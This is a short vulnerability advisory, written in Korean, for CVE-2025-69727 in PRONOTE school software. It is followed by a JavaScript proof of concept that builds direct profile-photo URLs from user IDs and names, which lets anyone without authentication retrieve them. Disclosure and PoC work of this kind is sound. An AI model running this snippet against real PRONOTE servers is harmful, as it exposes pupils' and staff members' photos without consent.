
CVE-2025-69727
PRONOTE - 202X.X.X < 2025.2.8
INDEX-EDUCATION PRONOTE 2025.2.8 이전 버전에는 잘못된 접근 제어 취약점이 존재합니다. 영향을 받는 구성 요소(composeUrlImgPhotoIndividu)는 사용자 ID 및 이름과 같은 예측 가능한 식별자만을 기반으로 사용자 프로필 이미지에 대한 직접 URL을 생성할 수 있습니다. 이러한 URL을 생성하거나 접근할 때 인증 검사 부재 및 속도 제한 부족으로 인해, 인증되지 않았거나 권한이 없는 행위자가 추측하거나 알려진 식별자를 사용하여 요청을 구성함으로써 사용자의 프로필 사진을 검색할 수 있습니다.
const arr = [] // List of users
const base = "https://demo.index-education.net/pronote";
IE.fModule({
f: function (exports, require, module, global) {
const ObjetElement = require("ObjetElement");
const AccesApp = global.GApplication;
const comm = AccesApp.communication;
for (const obj of arr) {
const path = comm.composeUrlFichierExterne(
obj.L.replace(/[\s]/gi, "_") + ".jpg",
new ObjetElement.ObjetElement("", obj.N)
);
const url = `${base}/${path}`;
console.log(url);
}
},
fn: "testIEmodule.js",
});